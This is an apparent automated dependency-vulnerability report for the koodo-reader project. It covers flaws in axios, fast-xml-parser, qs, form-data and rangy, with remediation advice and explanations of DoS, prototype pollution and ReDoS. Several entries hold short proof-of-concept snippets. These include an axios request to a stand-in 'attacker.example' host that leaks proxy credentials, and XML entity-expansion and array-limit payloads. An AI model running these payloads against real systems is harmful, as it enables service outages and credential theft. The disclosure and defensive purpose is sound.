Vulnerabilities |
26 via 95 paths |
|---|---|
Dependencies |
474 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: form-data
- Introduced through: mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
high severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to XML Entity Expansion in replaceEntitiesValue() when handling excessive DOCTYPE input. An attacker can cause excessive resource consumption and make the application unresponsive by submitting malicious XML input with large text entities referenced multiple times. This is a bypass for Billion Laughs protection in DocTypeReader.js, which prevents excessive referencing within and entity, but doesn't prevent repeated expansion of large entities.
Workaround
This vulnerability can be mitigated by disabling DOCTYPE parsing using the processEntities: false option.
PoC
const { XMLParser } = require('fast-xml-parser');
const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;
console.time('parse');
new XMLParser().parse(xml);
console.timeEnd('parse');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade fast-xml-parser to version 4.5.4, 5.3.6 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.
Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade fast-xml-parser to version 5.5.6 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2 › qs@6.5.5
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.
PoC
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Remediation
Upgrade qs to version 6.14.1 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.
Note:
This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Remediation
Upgrade fast-xml-parser to version 5.5.7 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Incorrect Regular Expression in the entity parsing RegEx in DOCTYPE declarations. An attacker can inject arbitrary values that override built-in XML entities by crafting entity names containing ., which is interpreted as a regex wildcard, allowing malicious content to be substituted in place of standard entities when the XML is parsed and subsequently rendered or used in sensitive contexts.
Remediation
Upgrade fast-xml-parser to version 4.5.4, 5.3.5 or higher.
References
high severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.
Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: rangy
- Introduced through: rangy@1.3.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › rangy@1.3.0Remediation: Upgrade to rangy@1.3.2.
Overview
rangy is an A cross-browser DOM range and selection library
Affected versions of this package are vulnerable to Prototype Pollution when using the extend() function in file rangy-core.js.The function uses recursive merge which can lead an attacker to modify properties of the Object.prototype
PoC
var rangy= require("rangy")
BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');
console.log({}.test) //undefined
rangy.util.extend({},BAD_JSON,{})
console.log({}.test) //"123"
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade rangy to version 1.3.2 or higher.
References
high severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.
Note:
This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
Workaround
This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.
PoC
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
